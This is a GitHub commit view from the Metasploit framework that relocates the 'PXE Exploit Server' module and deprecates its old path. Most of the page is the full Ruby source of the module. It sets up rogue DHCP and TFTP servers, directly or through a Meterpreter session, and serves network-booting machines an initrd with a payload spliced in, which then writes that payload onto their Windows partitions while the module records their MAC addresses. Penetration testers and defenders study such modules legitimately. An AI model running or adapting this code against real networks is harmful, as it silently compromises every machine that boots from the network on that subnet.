Skip to content

Commit 9bfd013

Browse files
wvuwvu
committed
Land rapid7#3923, mv misc/pxexploit to local/pxeexploit
Also renamed typo'd pxexploit -> pxeexploit.
2 parents 5fc57f7 + b173969 commit 9bfd013

File tree

2 files changed

+167
-0
lines changed

2 files changed

+167
-0
lines changed

‎modules/exploits/windows/local/pxeexploit.rb

Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/tftp'
8+
require 'rex/proto/dhcp'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::TFTPServer
14+
include Msf::Auxiliary::Report
15+
16+
def initialize
17+
super(
18+
'Name' => 'PXE Exploit Server',
19+
'Description' => %q{
20+
This module provides a PXE server, running a DHCP and TFTP server.
21+
The default configuration loads a linux kernel and initrd into memory that
22+
reads the hard drive; placing the payload on the hard drive of any Windows
23+
partition seen.
24+
25+
Note: the displayed IP address of a target is the address this DHCP server
26+
handed out, not the "normal" IP address the host uses.
27+
},
28+
'Author' => [ 'scriptjunkie' ],
29+
'License' => MSF_LICENSE,
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread',
33+
},
34+
'Payload' =>
35+
{
36+
'Space' => 4500,
37+
'DisableNops' => 'True',
38+
},
39+
'Platform' => 'win',
40+
'DisclosureDate' => 'Aug 05 2011',
41+
'Targets' =>
42+
[
43+
[ 'Windows Universal',
44+
{
45+
}
46+
],
47+
],
48+
'Privileged' => true,
49+
'Stance' => Msf::Exploit::Stance::Passive,
50+
'DefaultTarget' => 0
51+
)
52+
53+
register_options(
54+
[
55+
OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ])
56+
], self.class)
57+
58+
register_advanced_options(
59+
[
60+
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
61+
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
62+
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
63+
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
64+
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
65+
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
66+
], self.class)
67+
end
68+
69+
def exploit
70+
if not datastore['TFTPROOT']
71+
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
72+
end
73+
datastore['FILENAME'] = "update1"
74+
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
75+
76+
# Prepare payload
77+
print_status("Creating initrd")
78+
initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
79+
uncompressed = Rex::Text.ungzip(initrd)
80+
payl = payload.generate
81+
uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
82+
initrd = Rex::Text.gzip(uncompressed)
83+
84+
# Meterpreter attack
85+
if framework.sessions.include? datastore['SESSION']
86+
client = framework.sessions[datastore['SESSION']]
87+
if not client.lanattacks
88+
print_status("Loading lanattacks extension...")
89+
client.core.use("lanattacks")
90+
else
91+
if datastore['RESETPXE']
92+
print_status("Resetting PXE attack...")
93+
client.lanattacks.dhcp.reset
94+
end
95+
end
96+
97+
print_status("Loading DHCP options...")
98+
client.lanattacks.dhcp.load_options(datastore)
99+
0.upto(4) do |i|
100+
print_status("Loading file #{i+1} of 5")
101+
if i < 4
102+
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
103+
else
104+
contents = initrd
105+
end
106+
client.lanattacks.tftp.add_file("update#{i}",contents)
107+
end
108+
print_status("Starting TFTP server...")
109+
client.lanattacks.tftp.start
110+
print_status("Starting DHCP server...")
111+
client.lanattacks.dhcp.start
112+
print_status("pxesploit attack started")
113+
while (true) do
114+
begin
115+
# get stats every 20s
116+
select(nil, nil, nil, 20)
117+
client.lanattacks.dhcp.log.each do |item|
118+
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
119+
"(#{Rex::Socket.addr_ntoa(item[1])})")
120+
report_note({
121+
:type => 'PXE.client',
122+
:data => item[0].unpack('H2H2H2H2H2H2').join(':')
123+
})
124+
end
125+
rescue ::Interrupt
126+
print_status("Stopping TFTP server...")
127+
client.lanattacks.tftp.stop
128+
print_status("Stopping DHCP server...")
129+
client.lanattacks.dhcp.stop
130+
print_status("PXEsploit attack stopped")
131+
return
132+
end
133+
end
134+
end
135+
136+
# normal attack
137+
print_status("Starting TFTP server...")
138+
@tftp = Rex::Proto::TFTP::Server.new
139+
@tftp.set_tftproot(datastore['TFTPROOT'])
140+
@tftp.register_file('update4',initrd)
141+
@tftp.start
142+
143+
print_status("Starting DHCP server...")
144+
@dhcp = Rex::Proto::DHCP::Server.new( datastore )
145+
@dhcp.report do |mac, ip|
146+
print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+
147+
"(#{Rex::Socket.addr_ntoa(ip)})")
148+
report_note({
149+
:type => 'PXE.client',
150+
:data => mac.unpack('H2H2H2H2H2H2').join(':')
151+
})
152+
end
153+
@dhcp.start
154+
print_status("pxesploit attack started")
155+
156+
# Wait for finish..
157+
@tftp.thread.join
158+
@dhcp.thread.join
159+
print_status("pxesploit attack completed")
160+
end
161+
162+
end

‎modules/exploits/windows/misc/pxexploit.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,17 @@
66
require 'msf/core'
77
require 'rex/proto/tftp'
88
require 'rex/proto/dhcp'
9+
require 'msf/core/module/deprecated'
910

1011
class Metasploit3 < Msf::Exploit::Remote
1112
Rank = ExcellentRanking
1213

1314
include Msf::Exploit::Remote::TFTPServer
1415
include Msf::Auxiliary::Report
16+
include Msf::Module::Deprecated
17+
18+
DEPRECATION_DATE = Date.new(2014, 10, 31)
19+
DEPRECATION_REPLACEMENT = 'exploits/windows/local/pxeexploit'
1520

1621
def initialize
1722
super(

0 commit comments

Comments
 (0)